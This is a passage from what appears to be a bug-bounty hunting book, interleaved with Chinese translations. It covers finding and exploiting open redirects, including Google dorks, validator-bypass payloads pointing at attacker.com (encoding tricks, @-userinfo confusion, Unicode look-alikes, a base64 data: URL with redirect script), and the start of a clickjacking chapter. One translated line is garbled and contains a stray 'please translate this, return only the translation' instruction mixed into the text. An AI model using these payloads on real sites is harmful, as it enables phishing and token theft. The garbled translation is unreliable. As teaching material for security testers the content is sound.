During an open-redirect attack, an attacker tricks the user into visiting an external site by providing them with a URL from the legitimate site that redirects somewhere else, like this: https://example.com/login?redirect=https://attacker.com . A URL like this one could trick victims into clicking the link, because they’ll believe it leads to a page on the legitimate site, example.com . But in reality, this page automatically redirects to a malicious page. Attackers can then launch a social engineering attack and trick users into entering their example.com credentials on the attacker’s site. In the cybersecurity world, social engineering refers to attacks that deceive the victim. Attacks that use social engineering to steal credentials and private information are called phishing .

在开放重定向攻击中，攻击者通过提供一个重定向到其他网址的合法站点URL，如 https://example.com/login？redirect=https://attacker.com，来诱骗用户访问外部网站。像这样的URL可以欺骗受害者点击链接，因为他们会认为它会导致在合法站点example.com上的页面。但实际上，这个页面会自动重定向到恶意页面。攻击者随后可以发起社交工程攻击并诱骗用户在攻击者的网站上输入他们的example.com凭据。在网络安全领域中，社交工程是指欺骗受害者的攻击。利用社交工程窃取凭据和私人信息的攻击被称为网络钓鱼（phishing）。

Another common open-redirect technique is referer-based open redirect. The referer is an HTTP request header that browsers automatically include. It tells the server where the request originated from. Referer headers are a common way of determining the user’s original location, since they contain the URL that linked to the current page. Thus, some sites will redirect to the page’s referer URL automatically after certain user actions, like login or logout. In this case, attackers can host a site that links to the victim site to set the referer header of the request, using HTML like the following:

另一种常见的开放式重定向技术是基于 referer 的开放式重定向。 Referrer 是浏览器自动包含的 HTTP 请求头。它告诉服务器请求的来源在哪里。 Referrer 头是确定用户原始位置常见的方式，因为它们包含链接到当前页面的 URL。因此，某些网站会在特定用户操作（如登录或注销）后自动重定向到页面的引荐者 URL。在这种情况下，攻击者可以托管一个站点，链接到受害者站点以设置请求的引荐者头，使用以下 HTML：

<html>
  <a href="https://example.com/login">Click here to log in to example.com</a>
</html>

This HTML page contains an <a> tag, which links the text in the tag to another location. This page contains a link with the text Click here to log in to example.com . When a user clicks the link, they’ll be redirected to the location specified by the href attribute of the <a> tag, which is https://example.com/login in this example.

这个 HTML 页面包含一个<a>标签，将标签中的文本链接到另一个位置。该页面包含一个链接，文本为“点击此处登录example.com”。用户点击链接后，将重定向到<a>标签的href属性指定的位置，例如在此例子中为 https://example.com/login。

Figure 7-1 shows what the page would look like when rendered in the browser.

图7-1显示了在浏览器中呈现时页面的样子。

Figure 7-1 : Our sample rendered HTML page

图7-1：我们的示例渲染HTML页面

If example.com uses a referer-based redirect system, the user’s browser would redirect to the attacker’s site after the user visits example.com , because the browser visited example.com via the attacker’s page.

如果 example.com 使用基于引用者的重定向系统，那么用户的浏览器在访问 example.com 后会重定向到攻击者的网站，因为浏览器是通过攻击者的网页访问 example.com 的。

Prevention

To prevent open redirects, the server needs to make sure it doesn’t redirect users to malicious locations. Sites often implement URL validators to ensure that the user-provided redirect URL points to a legitimate location. These validators use either a blocklist or an allowlist.

为了防止开放重定向，服务器需要确保不会将用户重定向到恶意网址。网站通常实施URL验证器，以确保用户提供的重定向URL指向合法位置。这些验证器使用阻止名单或允许名单。

When a validator implements a blocklist, it will check whether the redirect URL contains certain indicators of a malicious redirect, and then block those requests accordingly. For example, a site may blocklist known malicious hostnames or special URL characters often used in open-redirect attacks. When a validator implements an allowlist, it will check the hostname portion of the URL to make sure that it matches a predetermined list of allowed hosts. If the hostname portion of the URL matches an allowed hostname, the redirect goes through. Otherwise, the server blocks the redirect.

当验证器实施阻止列表时，它会检查重定向 URL 是否包含某些恶意重定向指示器，并相应地阻止这些请求。例如，一个站点可能会阻止已知的恶意主机名或经常用于开放重定向攻击的特殊 URL 字符。当验证器实施允许列表时，它将检查 URL 的主机名部分，以确保它与预定的允许主机列表匹配。如果 URL 的主机名部分与允许的主机名匹配，则重定向将进行。否则，服务器将阻止重定向。

These defense mechanisms sound straightforward, but the reality is that parsing and decoding a URL is difficult to get right. Validators often have a hard time identifying the hostname portion of the URL. This makes open redirects one of the most common vulnerabilities in modern web applications. We’ll talk about how attackers can exploit URL validation issues to bypass open-redirect protection later in this chapter.

这些防御机制听起来很简单，但实际上解析和解码URL非常难以正确执行。验证器通常很难识别URL的主机名部分。这使得开放式重定向成为现代Web应用程序中最常见的漏洞之一。稍后在本章中，我们将讨论攻击者如何利用URL验证问题绕过开放式重定向保护。

Hunting for Open Redirects

Let’s start by looking for a simple open redirect. You can find open redirects by using a few recon tricks to discover vulnerable endpoints and confirm the open redirect manually.

让我们从寻找简单的开放式重定向开始。您可以使用一些侦查技巧来发现易受攻击的端点，并手动确认开放式重定向。

Step 1: Look for Redirect Parameters

Start by searching for the parameters used for redirects. These often show up as URL parameters like the ones in bold here:

从寻找重定向所使用的参数开始。这些常常显示为像这里加粗的URL参数：

https://example.com/login?redirect=https://example.com/dashboard
https://example.com/login?redir=https://example.com/dashboard
https://example.com/login?next=https://example.com/dashboard
https://example.com/login?next=/dashboard

Open your proxy while you browse the website. Then, in your HTTP history, look for any parameter that contains absolute or relative URLs. An absolute URL is complete and contains all the components necessary to locate the resource it points to, like https://example.com/login . Absolute URLs contain at least the URL scheme, hostname, and path of a resource. A relative URL must be concatenated with another URL by the server in order to be used. These typically contain only the path component of a URL, like /login . Some redirect URLs will even omit the first slash ( / ) character of the relative URL, as in https://example.com/login?next=dashboard .

在浏览网站时打开代理，然后在HTTP历史记录中查找包含绝对或相对URL的任何参数。绝对URL是完整的，并包含定位其指向的资源所需的所有组件，例如https://example.com/login。绝对URL至少包含资源的URL方案，主机名和路径。相对URL必须由服务器与另一个URL连接在一起才能使用。这些通常仅包含URL的路径组件，如/login。一些重定向URL甚至会省略相对URL的第一个斜杆（/）字符，例如https://example.com/login?next=dashboard。

Note that not all redirect parameters have straightforward names like redirect or redir . For example, I’ve seen redirect parameters named RelayState , next , u , n , and forward . You should record all parameters that seem to be used for redirect, regardless of their parameter names.

请注意，并非所有的重定向参数都像redirect或redir那样名称简单直接。例如，我曾看到过以RelayState、next、u、n和forward命名的重定向参数。您应该记录所有似乎被用于重定向的参数，不管它们的参数名称如何。

In addition, take note of the pages that don’t contain redirect parameters in their URLs but still automatically redirect their users. These pages are candidates for referer-based open redirects. To find these pages, you can keep an eye out for 3 XX response codes like 301 and 302. These response codes indicate a redirect.

此外，注意那些URL中不包含重定向参数但仍自动重定向用户的页面。这些页面有可能存在基于引用的开放性重定向漏洞。要查找这些页面，您可以留意301和302等3XX响应代码，这些响应代码表示重定向。

Step 2: Use Google Dorks to Find Additional Redirect Parameters

Google dork techniques are an efficient way to find redirect parameters. To look for redirect parameters on a target site by using Google dorks, start by setting the site search term to your target site:

Google dork技术是一种有效的查找重定向参数的方法。使用Google dorks在目标网站上查找重定向参数，首先要将站点搜索术语设置为目标站点。

site:example.com

Then look for pages that contain URLs in their URL parameters, making use of %3D , the URL-encoded version of the equal sign (=). By adding %3D in your search term, you can search for terms like =http and =https , which are indicators of URLs in a parameter. The following searches for URL parameters that contain absolute URLs:

然后搜索包含其URL参数中的URL的页面，利用%3D，即等号（=）的URL编码版本。通过在搜索词中添加%3D，您可以搜索类似于=http和=https的术语，这些术语是参数中的URL指示器。以下搜索包含绝对URL的URL参数：

inurl:%3Dhttp site:example.com

This search term might find the following pages:

这个搜索词可能会找到以下页面：

https://example.com/login?next=https://example.com/dashboard
https://example.com/login?u=http://example.com/settings

Also try using %2F , the URL-encoded version of the slash (/). The following search term searches URLs that contain =/ , and therefore returns URL parameters that contain relative URLs:

也可以尝试使用%2F，即斜杠（/）的URL编码版本。以下搜索词搜索包含=/ 的URL，并因此返回包含相对URL的URL参数：

inurl:%3D%2F site:example.com

This search term will find URLs such as this one:

这个搜索词将会找到像这样的URL地址：

https://example.com/login?n=/dashboard

Alternatively, you can search for the names of common URL redirect parameters. Here are a few search terms that will likely reveal parameters used for a redirect:

您也可以搜索常见的URL重定向参数名称。以下是一些可能会显示出用于重定向的参数的搜索词：

inurl:redir site:example.com
inurl:redirect site:example.com
inurl:redirecturi site:example.com
inurl:redirect_uri site:example.com
inurl:redirecturl site:example.com
inurl:redirect_uri site:example.com
inurl:return site:example.com
inurl:returnurl site:example.com
inurl:relaystate site:example.com
inurl:forward site:example.com
inurl:forwardurl site:example.com
inurl:forward_url site:example.com
inurl:url site:example.com
inurl:uri site:example.com
inurl:dest site:example.com
inurl:destination site:example.com
inurl:next site:example.com

These search terms will find URLs such as the following:

这些搜索词将找到以下的网址：

https://example.com/logout?dest=/
https://example.com/login?RelayState=https://example.com/home
https://example.com/logout?forward=home
https://example.com/login?return=home/settings

Note the new parameters you’ve discovered, along with the ones found in step 1.

请注意新发现的参数，以及步骤1中发现的参数。

Step 3: Test for Parameter-Based Open Redirects

Next, pay attention to the functionality of each redirect parameter you’ve found and test each one for an open redirect. Insert a random hostname, or a hostname you own, into the redirect parameters; then see if the site automatically redirects to the site you specified:

请注意每个重定向参数的功能，并针对每个参数测试是否存在开放式重定向漏洞。将随机主机名或您拥有的主机名插入重定向参数，然后查看网站是否自动重定向到您指定的网站：

https://example.com/login?n=http://google.com
https://example.com/login?n=http://attacker.com

Some sites will redirect to the destination site immediately after you visit the URL, without any user interaction. But for a lot of pages, the redirect won’t happen until after a user action, like registration, login, or logout. In those cases, be sure to carry out the required user interactions before checking for the redirect.

有些网站在您访问URL之后会立即重定向到目标站点，无需用户交互。但是对于很多页面来说，在用户注册、登录或注销等用户操作之后才会进行重定向。在这些情况下，请务必在检查重定向之前完成必要的用户交互。

Step 4: Test for Referer-Based Open Redirects

Finally, test for referer-based open redirects on any pages you found in step 1 that redirected users despite not containing a redirect URL parameter. To test for these, set up a page on a domain you own and host this HTML page:

最后，在步骤1中发现的任何页面上进行基于引用者的开放重定向测试，尽管不包含重定向URL参数，仍会重定向用户。为了测试这些内容，请在您拥有的域上设置一个页面，并托管此HTML页面：

<html>
  <a href="https://example.com/login">Click on this link!</a>
</html>

Replace the linked URL with the target page. Then reload and visit your HTML page. Click the link and see if you get redirected to your site automatically or after the required user interactions.

请将链接的网址替换为目标页面。然后重新加载并访问您的HTML页面。点击链接，看看您是否会自动或在需要的用户交互后重定向到您的网站。

Bypassing Open-Redirect Protection

As a bug bounty hunter, I find open redirects in almost all the web targets I attack. Why are open redirects still so prevalent in web applications today? Sites prevent open redirects by validating the URL used to redirect the user, making the root cause of open redirects failed URL validation. And, unfortunately, URL validation is extremely difficult to get right.

作为一名漏洞赏金猎人，我发现几乎所有我攻击的网络目标都存在开放式重定向。为什么开放式重定向今天在网络应用程序中仍然如此普遍？站点通过验证用于重定向用户的URL来防止开放式重定向，使开放式重定向的根本原因是URL验证失败。不幸的是，URL验证非常难以正确完成。

Here, you can see the components of a URL. The way the browser redirects the user depends on how the browser differentiates between these components:

这里，您可以看到URL的组成部分。浏览器重定向用户的方式取决于浏览器如何区分这些组件：

scheme://userinfo@hostname:port/path?query#fragment

The URL validator needs to predict how the browser will redirect the user and reject URLs that will result in a redirect offsite. Browsers redirect users to the location indicated by the hostname section of the URL. However, URLs don’t always follow the strict format shown in this example. They can be malformed, have their components out of order, contain characters that the browser does not know how to decode, or have extra or missing components. For example, how would the browser redirect this URL?

URL验证器需要预测浏览器将如何重定向用户，并拒绝会导致重定向到站外的URL。浏览器将用户重定向到URL的主机名部分指示的位置。然而，URL并不总是遵循本示例中显示的严格格式。它们可能格式错误，组件排序不当，包含浏览器不知道如何解码的字符，或者有额外或缺失的组件。例如，浏览器将如何重定向此URL？

https://user:password:8080/example.com@attacker.com

请帮我翻译`https://user:password:8080/example.com@attacker.com`为简体中文，只需返回翻译内容，不包括原始文本。用户：密码：8080/example.com@attacker.com

When you visit this link in different browsers, you will see that different browsers handle this URL differently. Sometimes validators don’t account for all the edge cases that can cause the browser to behave unexpectedly. In this case, you could try to bypass the protection by using a few strategies, which I’ll go over in this section.

当您在不同的浏览器中访问此链接时，您会发现不同的浏览器会以不同的方式处理此URL。有时，验证器无法考虑到所有可能导致浏览器表现异常的边缘案例。在这种情况下，您可以尝试使用一些策略来绕过保护，我将在本节中介绍。

Using Browser Autocorrect

First, you can use browser autocorrect features to construct alternative URLs that redirect offsite. Modern browsers often autocorrect URLs that don’t have the correct components, in order to correct mangled URLs caused by user typos. For example, Chrome will interpret all of these URLs as pointing to https://attacker.com :

首先，您可以使用浏览器自动更正功能来构造可重定向到外部网站的替代URL。现代浏览器通常会自动更正没有正确组件的URL，以纠正用户打字错误等导致的URL混淆问题。例如，Chrome将将所有这些URL解释为指向https://attacker.com。

https:attacker.com
https;attacker.com
https:\/\/attacker.com
https:/\/\attacker.com

These quirks can help you bypass URL validation based on a blocklist. For example, if the validator rejects any redirect URL that contains the strings https:// or http:// , you can use an alternative string, like https; , to achieve the same results.

这些小技巧可以帮助您绕过基于黑名单的URL验证。例如，如果验证器拒绝包含字符串https://或http://的任何重定向URL，您可以使用另一种字符串（如https;），以达到相同的效果。

Most modern browsers also automatically correct backslashes (\) to forward slashes (/), meaning they’ll treat these URLs as the same:

大多数现代浏览器还会自动将反斜杠符号（\）校正为正斜杠符号（/），这意味着它们将视这些URL为相同的内容：

https:\\example.com
https://example.com

If the validator doesn’t recognize this behavior, the inconsistency could lead to bugs. For example, the following URL is potentially problematic:

如果验证器无法识别这种行为，不一致性可能会导致错误。例如，以下URL可能存在问题：

https://attacker.com\@example.com

Unless the validator treats the backslash as a path separator, it will interpret the hostname to be example.com , and treat attacker.com\ as the username portion of the URL. But if the browser autocorrects the backslash to a forward slash, it will redirect the user to attacker.com , and treat @example.com as the path portion of the URL, forming the following valid URL:

如果验证器不把反斜杠当作路径分隔符，它将把主机名解释为example.com，将attacker.com\视为URL的用户名部分。但是如果浏览器自动纠正反斜杠为正斜杠，它将重定向用户到attacker.com，并将@example.com视为URL的路径部分，形成以下有效的URL：

https://attacker.com/@example.com

Exploiting Flawed Validator Logic

Another way you can bypass the open-redirect validator is by exploiting loopholes in the validator’s logic. For example, as a common defense against open redirects, the URL validator often checks if the redirect URL starts with, contains, or ends with the site’s domain name. You can bypass this type of protection by creating a subdomain or directory with the target’s domain name:

你可以通过利用验证器逻辑中的漏洞来绕过开放重定向验证器。例如，作为针对开放重定向的常见防御策略，URL 验证器经常检查重定向 URL 是否以、包含或以站点的域名结尾。你可以通过创建带有目标域名的子域或目录来绕过这种保护：

https://example.com/login?redir=http://example.com.attacker.com
https://example.com/login?redir=http://attacker.com/example.com

To prevent attacks like these from succeeding, the validator might accept only URLs that both start and end with a domain listed on the allowlist. However, it’s possible to construct a URL that satisfies both of these rules. Take a look at this one:

为了防止这样的攻击成功，验证器可能只接受以白名单中列出的域名开头和结尾的 URL。然而，有可能构造出一条同时满足这两个规则的 URL。看看这个例子：

https://example.com/login?redir=https://example.com.attacker.com/example.com

This URL redirects to attacker.com , despite beginning and ending with the target domain. The browser will interpret the first example.com as the subdomain name and the second one as the filepath.

这个URL重定向到attacker.com，尽管它以目标域名开头和结尾。浏览器会将第一个example.com解释为子域名，第二个example.com解释为文件路径。

Or you could use the at symbol ( @ ) to make the first example.com the username portion of the URL:

或者你可以使用“ @ ”符号将第一个example.com作为URL的用户名部分：

https://example.com/login?redir=https://example.com@attacker.com/example.com

Custom-built URL validators are prone to attacks like these, because developers often don’t consider all edge cases.

自定义的URL验证器容易受到此类攻击，因为开发人员通常无法考虑所有边缘情况。

Using Data URLs

You can also manipulate the scheme portion of the URL to fool the validator. As mentioned in Chapter 6 , data URLs use the data: scheme to embed small files in a URL. They are constructed in this format:

你也可以操纵URL的scheme部分以愚弄验证器。如第6章所述，数据URL使用data: scheme将小文件嵌入URL中。它们采用以下格式构建：

data:MEDIA_TYPE[;base64],DATA

For example, you can send a plaintext message with the data scheme like this:

例如，你可以通过类似以下的数据方案发送纯文本消息：

data:text/plain,hello!

The optional base64 specification allows you to send base64-encoded messages. For example, this is the base64-encoded version of the preceding message:

可选的base64规范允许您发送base64编码的消息。例如，这是前面信息的base64编码版本：

data:text/plain;base64,aGVsbG8h

You can use the data: scheme to construct a base64-encoded redirect URL that evades the validator. For example, this URL will redirect to example.com :

你可以使用data：方案构造一个base64编码的重定向URL，这样就可以回避验证器。例如，此URL将重定向到example.com：

data:text/html;base64,
PHNjcmlwdD5sb2NhdGlvbj0iaHR0cHM6Ly9leGFtcGxlLmNvbSI8L3NjcmlwdD4=

The data encoded in this URL, PHNjcmlwdD5sb2NhdGlvbj0iaHR0cHM6Ly9leGFtcGxlLmNvbSI8L3NjcmlwdD4= , is the base64-encoded version of this script:

该URL中编码的数据PHNjcmlwdD5sb2NhdGlvbj0iaHR0cHM6Ly9leGFtcGxlLmNvbSI8L3NjcmlwdD4=，是这个脚本的base64编码版本：

<script>location="https://example.com"</script>

This is a piece of JavaScript code wrapped between HTML <script> tags. It sets the location of the browser to https://example.com , forcing the browser to redirect there. You can insert this data URL into the redirection parameter to bypass blocklists:

这是被包裹在 HTML 的 <script> 标签之间的 JavaScript 代码。它将浏览器的位置设置为 https://example.com，强制浏览器进行重定向到该网址。你可以将这个数据 URL 插入到重定向参数中，以绕过阻止列表。

https://example.com/login?redir=data:text/html;base64,
PHNjcmlwdD5sb2NhdGlvbj0iaHR0cHM6Ly9leGFtcGxlLmNvbSI8L3NjcmlwdD4=

Exploiting URL Decoding

URLs sent over the internet can contain only ASCII characters , which include a set of characters commonly used in the English language and a few special characters. But since URLs often need to contain special characters or characters from other languages, people encode characters by using URL encoding. URL encoding converts a character into a percentage sign, followed by two hex digits; for example, %2f . This is the URL-encoded version of the slash character ( / ).

通过互联网发送的URL只能包含ASCII字符，其中包括英语中常用的一组字符和一些特殊字符。但是由于URL通常需要包含特殊字符或其他语言的字符，人们通过使用URL编码来对字符进行编码。URL编码将字符转换为百分号，后跟两个十六进制数字；例如，% 2f。这是斜杠字符（/）的URL编码版本。

When validators validate URLs, or when browsers redirect users, they have to first find out what is contained in the URL by decoding any characters that are URL encoded. If there is any inconsistency between how the validator and browsers decode URLs, you could exploit that to your advantage.

当验证程序验证URL或浏览器重定向用户时，它们必须首先解码URL编码的任何字符以了解URL中包含的内容。如果验证程序和浏览器如何解码URL存在任何不一致之处，您可以利用这一点为自己谋取利益。

Double Encoding

First, try to double- or triple-URL-encode certain special characters in your payload. For example, you could URL-encode the slash character in https://example.com/@attacker.com . Here is the URL with a URL-encoded slash:

首先，尝试将负载中的某些特殊字符进行双倍或三倍 URL 编码。例如，您可以对 https://example.com/@attacker.com 中的斜杠字符进行 URL 编码。这是具有 URL 编码斜杠的 URL：

https://example.com%2f@attacker.com

And here is the URL with a double-URL-encoded slash:

这是一个使用双URL编码斜杠的URL地址：

https://example.com%252f@attacker.com

Finally, here is the URL with a triple-URL-encoded slash:

最后，这是一个经过三次URL编码的斜线的URL：

https://example.com%25252f@attacker.com

Whenever a mismatch exists between how the validator and the browser decode these special characters, you can exploit the mismatch to induce an open redirect. For example, some validators might decode these URLs completely, then assume the URL redirects to example.com , since @attacker.com is in the path portion of the URL. However, the browsers might decode the URL incompletely, and instead treat example.com%25252f as the username portion of the URL.

每当验证器和浏览器在解码这些特殊字符方面存在不匹配时，您就可以利用不匹配来引导一个开放重定向。例如，某些验证器可能会完全解码这些 URL，然后假定该 URL 重定向到 example.com，因为 @attacker.com 在 URL 的路径部分。但是，浏览器可能会不完全解码 URL，而是将 example.com%25252f 作为 URL 的用户名部分处理。

On the other hand, if the validator doesn’t double-decode URLs, but the browser does, you can use a payload like this one:

另一方面，如果验证器不会双重解码URL，但浏览器会，您可以使用像这样的有效载荷：

https://attacker.com%252f@example.com

The validator would see example.com as the hostname. But the browser would redirect to attacker.com , because @example.com becomes the path portion of the URL, like this:

验证器会将example.com视为主机名。但是浏览器会重定向到attacker.com，因为@example.com变成了URL的路径部分，就像这样：

https://attacker.com/@example.com

Non-ASCII Characters

You can sometimes exploit inconsistencies in the way the validator and browsers decode non-ASCII characters. For example, let’s say that this URL has passed URL validation:

有时候，你可以利用验证器和浏览器解码非ASCII字符时出现的不一致性。例如，假设这个URL通过了URL验证：

https://attacker.com%ff.example.com

%ff is the character ÿ , which is a non-ASCII character. The validator has determined that example.com is the domain name, and attacker.comÿ is the subdomain name. Several scenarios could happen. Sometimes browsers decode non-ASCII characters into question marks. In this case, example.com would become part of the URL query, not the hostname, and the browser would navigate to attacker.com instead:

%ff是字符ÿ，它是一个非ASCII字符。验证器已确定example.com是域名，attacker.comÿ是子域名。可能会发生几种情况。有时浏览器会将非ASCII字符解码为问号。在这种情况下，example.com将成为URL查询的一部分，而不是主机名，浏览器将导航到attacker.com。

https://attacker.com?.example.com

Another common scenario is that browsers will attempt to find a “most alike” character. For example, if the character ╱ ( %E2%95%B1 ) appears in a URL like this, the validator might determine that the hostname is example.com :

另一个常见的情景是浏览器会尝试找到“最相似”的字符。例如，如果像这样的字符╱(%E2%95%B1)出现在URL中，验证器可能会确定主机名为example.com。

https://attacker.com╱.example.com

But the browser converts the slash look-alike character into an actual slash, making attacker.com the hostname instead:

但是，浏览器将类似斜杠的字符转换为实际的斜杠，使攻击者.com 成为主机名。

https://attacker.com/.example.com

Browsers normalize URLs this way often in an attempt to be user-friendly. In addition to similar symbols, you can use character sets in other languages to bypass filters. The Unicode standard is a set of codes developed to represent all of the world’s languages on the computer. You can find a list of Unicode characters at http://www.unicode.org/charts/ . Use the Unicode chart to find look-alike characters and insert them in URLs to bypass filters. The Cyrillic character set is especially useful since it contains many characters similar to ASCII characters.

浏览器经常以这种方式规范化URL，试图使其更加用户友好。除了类似的符号外，您还可以使用其他语言的字符集来绕过过滤器。 Unicode标准是一组代码，旨在在计算机上表示世界上所有的语言。您可以在http://www.unicode.org/charts/上找到Unicode字符的列表。使用Unicode图表查找类似的字符并将它们插入URL以绕过过滤器。 Cyrillic字符集特别有用，因为它包含许多与ASCII字符相似的字符。

Combining Exploit Techniques

To defeat more-sophisticated URL validators, combine multiple strategies to bypass layered defenses. I’ve found the following payload to be useful:

为了击败更复杂的URL验证器，结合多种策略绕过分层防御。我发现以下有效负载非常有用：

https://example.com%252f@attacker.com/example.com

This URL bypasses protection that checks only that a URL contains, starts with, or ends with an allowlisted hostname by making the URL both start and end with example.com . Most browsers will interpret example.com%252f as the username portion of the URL. But if the validator over-decodes the URL, it will confuse example.com as the hostname portion:

该URL绕过保护，只检查URL是包含、以、或以白名单主机名结尾，方法是使URL同时以example.com开头和结尾。大多数浏览器将解释example.com%252f作为URL的用户名部分。但如果验证器过度解码URL，则会将example.com混淆为主机名部分：

https://example.com/@attacker.com/example.com

You can use many more methods to defeat URL validators. In this section, I’ve provided an overview of the most common ones. Try each of them to check for weaknesses in the validator you are testing. If you have time, experiment with URLs to invent new ways of bypassing URL validators. For example, try inserting random non-ASCII characters into a URL, or intentionally messing up its different components, and see how browsers interpret it.

你可以使用更多方法来打败 URL 验证器。在本节中，我提供了最常见的综述。尝试每种方法以检查您正在测试的验证器中的弱点。如果您有时间，请尝试使用 URL 来发明绕过 URL 验证器的新方法。例如，尝试在 URL 中插入随机的非 ASCII 字符，或故意弄乱其不同的组件， 看看浏览器如何解析它。

Escalating the Attack

Attackers could use open redirects by themselves to make their phishing attacks more credible. For example, they could send this URL in an email to a user: https://example.com/login?next=https://attacker.com/fake_login.html.

攻击者可以利用开放重定向来使其网络钓鱼攻击更加可信。例如，他们可以通过电子邮件向用户发送以下URL：https://example.com/login?next=https://attacker.com/fake_login.html。

Though this URL would first lead users to the legitimate website, it would redirect them to the attacker’s site after login. The attacker could host a fake login page on a malicious site that mirrors the legitimate site’s login page, and prompt the user to log in again with a message like this one:

尽管此URL在首次将用户重定向至合法网站，但在登录后会将其重定向至攻击者的网站。攻击者可以在恶意站点上托管一个模拟合法站点登录页面的假登录页面，并提示用户再次登录，如此消息：

Sorry! The password you provided was incorrect. Please enter your username and password again.

抱歉！您提供的密码不正确。请重新输入您的用户名和密码。

Believing they’ve entered an incorrect password, the user would provide their credentials to the attacker’s site. At this point, the attacker’s site could even redirect the user back to the legitimate site to keep the victim from realizing that their credentials were stolen.

用户认为他们输入了错误的密码，然后就会将他们的凭据提供给攻击者的网站。此时，攻击者的网站甚至可以将用户重定向回合法网站，以避免受害者意识到他们的凭据已经被窃取。

Since organizations can’t prevent phishing completely (because those attacks depend on human judgment), security teams will often dismiss open redirects as trivial bugs if reported on their own. But open redirects can often serve as a part of a bug chain to achieve a bigger impact. For example, an open redirect can help you bypass URL blocklists and allowlists. Take this URL, for example:

由于组织无法完全防止钓鱼攻击（因为这些攻击取决于人类判断），因此安全团队通常会认为单独报告的开放重定向漏洞是微不足道的。但是，开放重定向经常可以作为一个漏洞链的一部分，以实现更大的影响。例如，开放重定向可以帮助您绕过URL阻止列表和白名单。请参考以下URL：

https://example.com/?next=https://attacker.com/

This URL will pass even well-implemented URL validators, because the URL is technically still on the legitimate website. Open redirects can, therefore, help you maximize the impact of vulnerabilities like server-side request forgery (SSRF), which I’ll discuss in Chapter 13 . If a site utilizes an allowlist to prevent SSRFs and allows requests to only a list of predefined URLs, an attacker can utilize an open redirect within those allowlisted pages to redirect the request anywhere.

这个URL会通过即使是良好实现的URL验证器，因为该URL在技术上仍然在合法网站上。因此，开放性重定向可以帮助您最大限度地提高服务器端请求伪造（SSRF）等漏洞的影响，这将在第13章中讨论。如果一个网站使用白名单来防止SSRF，并允许请求仅限于一系列预定义的URL，攻击者可以在这些白名单页面中利用开放式重定向将请求重定向到任何地方。

You could also use open redirects to steal credentials and OAuth tokens. Often, when a page redirects to another site, browsers will include the originating URL as a referer HTTP request header. When the originating URL contains sensitive information, like authentication tokens, attackers can induce an open redirect to steal the tokens via the referer header. (Even when there is no open redirect on the sensitive endpoint, there are ways to smuggle tokens offsite by using open redirect chains. I’ll go into detail about how these attacks work in Chapter 20 .)

您也可以使用开放式重定向来窃取凭据和OAuth令牌。通常，当一个页面重定向到另一个站点时，浏览器将包括原始URL作为引用HTTP请求头。当原始URL包含敏感信息，比如身份验证令牌时，攻击者可以通过引用头诱导一个开放式重定向来窃取令牌。即使敏感端点上没有开放式重定向，攻击者仍可以使用开放式重定向链将令牌走私离开站点。这些攻击在第20章中详细介绍。

Finding Your First Open Redirect!

You’re ready to find your first open redirect. Follow the steps covered in this chapter to test your target applications:

你已经准备好找出第一个开放重定向。按照本章所涵盖的步骤测试目标应用程序：

Search for redirect URL parameters. These might be vulnerable to parameter-based open redirect.

Search for pages that perform referer-based redirects. These are candidates for a referer-based open redirect.

Test the pages and parameters you’ve found for open redirects.

If the server blocks the open redirect, try the protection bypass techniques mentioned in this chapter.

Brainstorm ways of using the open redirect in your other bug chains!

8
Clickjacking

Clickjacking , or user-interface redressing, is an attack that tricks users into clicking a malicious button that has been made to look legitimate. Attackers achieve this by using HTML page-overlay techniques to hide one web page within another. Let’s discuss this fun-to-exploit vulnerability, why it’s a problem, and how you can find instances of it.

点击劫持或用户界面伪装是一种攻击，会欺骗用户点击一个看起来合法的恶意按钮。攻击者通过使用HTML页面覆盖技术将一个网页隐藏在另一个网页中来实现这一目的。让我们探讨一下这个有趣而易于利用的漏洞，为什么它是一个问题，以及您如何找到它的实例。

Note that clickjacking is rarely considered in scope for bug bounty programs, as it usually involves a lot of user interaction on the victim’s part. Many programs explicitly list clickjacking as out of scope, so be sure to check the program’s policies before you start hunting! However, some programs still accept them if you can demonstrate the impact of the clickjacking vulnerability. We will look at an accepted report later in the chapter.

请注意，点击劫持通常需要受害者进行大量交互，因此很少被视为漏洞赏金计划的范围内。许多计划明确将点击劫持列为超范围，因此在开始寻找之前，请务必检查计划的政策！然而，如果您能够证明点击劫持漏洞的影响，某些计划仍会接受它们。我们将在本章后面查看一份被接受的报告。

Mechanisms

Clickjacking relies on an HTML feature called an iframe . HTML iframes allow developers to embed one web page within another by placing an <iframe> tag on the page, and then specifying the URL to frame in the tag’s src attribute. For example, save the following page as an HTML file and open it with a browser:

点击劫持依赖于一种叫做iframe的HTML功能。HTML iframes允许开发人员通过在网页上放置一个<iframe>标签，然后在标签的src属性中指定要嵌入的网页的URL来将一个网页嵌入另一个网页中。例如，将以下页保存为HTML文件，并用浏览器打开：

<html>
  <h3>This is my web page.</h3>
  <iframe src="https://www.example.com" width="500" height="500"></iframe>
  <p>If this window is not blank, the iframe source URL can be framed!</p>
</html>

You should see a web page that looks like Figure 8-1 . Notice that a box places www.example.com in one area of the larger page.

你应该会看到一个类似图8-1的网页。请注意，一个方框会把www.example.com放在更大页面的某个区域。

Figure 8-1 : If the iframe is not blank, the page specified in the iframe’s src attribute can be framed!

图8-1：如果iframe不为空，则可以将指定在iframe的src属性中的页面框架化！

Some web pages can’t be framed. If you place a page that can’t be framed within an iframe, you should see a blank iframe, as in Figure 8-2 .

一些网页无法被框架。如果您将一个无法被框架的页面放置在iframe中，您应该会看到一个空白的iframe，如图8-2所示。

Figure 8-2 : If the iframe is blank, the iframe source cannot be framed.

图8-2：如果iframe为空，则无法框定iframe来源。

Iframes are useful for many things. The online advertisements you often see at the top or sides of web pages are examples of iframes; companies use these to include a premade ad in your social media or blog. Iframes also allow you to embed other internet resources, like videos and audio, in your web pages. For example, this iframe allows you to embed a YouTube video in an external site:

Iframes对于许多事情都非常有用。您经常在网页顶部或侧边看到的在线广告就是Iframes的例子;公司使用这些来在您的社交媒体或博客中包含预先制作的广告。Iframes还允许您将其他互联网资源（例如视频和音频）嵌入您的网页中。例如，这个Iframe允许你在外部站点中嵌入YouTube视频。

<iframe width="560" height="315"
src="https://www.youtube.com/embed/d1192Sqk" frameborder="0"
allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen>
</iframe>

Iframes have made our internet a more vibrant and interactive place. But they can also be a danger to the framed web page because they introduce the possibilities of a clickjacking attack. Let’s say that example.com is a banking site that includes a page for transferring your money with a click of a button. You can access the balance transfer page with the URL https://www.example.com/transfer_money .

